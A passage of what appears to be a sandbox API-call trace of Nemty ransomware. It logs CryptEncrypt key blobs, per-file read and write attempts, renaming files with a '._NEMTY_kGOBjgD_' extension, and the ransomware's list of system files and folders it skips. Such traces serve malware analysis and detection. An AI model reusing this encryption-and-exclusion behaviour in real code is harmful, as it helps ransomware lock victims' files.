0x4f9ed08 [0054.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0054.957] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.957] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.957] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0054.957] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="1oNF6pceANaxa3qXMDZONl66lbv48M9ydaqp6Y0d6983A2z8C0eytHGrQsZhQVvk\r\nzi2V73fH34WeZI81i9683Zl6YJhm/Zov5AtsfHEWS1sOJjLgVQhMJ3TMWtZEgGiF\r\n2uJ1FDvRRn0hzj0LSBt9KeZwMt0+9RmLJ2v21qrsorAMiY813pBqL/vWnZa3XzfD\r\nJkRUtsL1HIes8yhPPlgyASpiT5k+0kbgH3FlWTnPsMVVLBgBLak+FO5JpN+ilr4K\r\npvD21Yqys22Vw9SzKAcKkDgaNTIjtWHofK9lkIrJGQdaZr6n42Re/UNge0/aZC7t\r\ntsnhYrsRPBOoBXgTQV2tXg==\r\n", pcchString=0x653e91c) returned 1 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0054.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0054.957] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.958] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.076] CloseHandle (hObject=0xffffffff) returned 0 [0055.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0055.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0055.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.077] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.077] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2=".") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="..") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="...") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="windows") returned -1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="$RECYCLE.BIN") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="rsa") returned -1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="NTDETECT.COM") returned -1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="ntldr") returned -1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="MSDOS.SYS") returned -1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="IO.SYS") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="boot.ini") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="boot.ini") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="AUTOEXEC.BAT") returned 1 [0055.077] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="ntuser.dat") returned -1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="desktop.ini") returned 1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="CONFIG.SYS") returned 1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="RECYCLER") returned -1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="BOOTSECT.BAK") returned 1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="bootmgr") returned 1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="programdata") returned -1 [0055.078] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="appdata") returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LightBlueRectangle.PNG", lpUsedDefaultChar=0x0) returned 22 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LightBlueRectangle.PNG", lpUsedDefaultChar=0x0) returned 22 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LightBlueRectangle.PNG", lpUsedDefaultChar=0x0) returned 22 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LightBlueRectangle.PNG", lpUsedDefaultChar=0x0) returned 22 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0055.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0055.078] Sleep (dwMilliseconds=0x5) [0055.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd47a5bd0, dwHighDateTime=0x1d561e7)) [0055.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd47a5bd0, dwHighDateTime=0x1d561e7)) [0055.081] GetLastError () returned 0x5 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.082] GetLastError () returned 0x5 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.082] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.082] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.082] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0055.082] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="s0J4LC/xVJHp+rtxpwk/L/S47I1AIMNFjLVLoewCWQmikMOrn+6TBQJacMjZtBt/\r\n1d9xKQV+cqZLdZDlGQfz2OvMFrGQ15sEqVhgEIXv29DT14gDwNvGp8L6LUm8x7pY\r\nwAsQELEVMkGV100nXlGanbXUam0Ncc+6C7lglgF1Y94y6ncrIA/iw9WzAOAjaj0z\r\n53wdIBAyU9QZMkMwXoWbf2FNDnl5zf377/G/4fpdKMeGaO4JQfK1VRdQN6oFWbmu\r\nNRaj2KzZbZpKnYM5IINCFC48u4/ZYn38dM4srk0FXGbRWImLqi5gpshEB0dcuh45\r\nf4zW4jk9TVrfw/7ICH/sig==\r\n", pcchString=0x653e91c) returned 1 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0055.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, 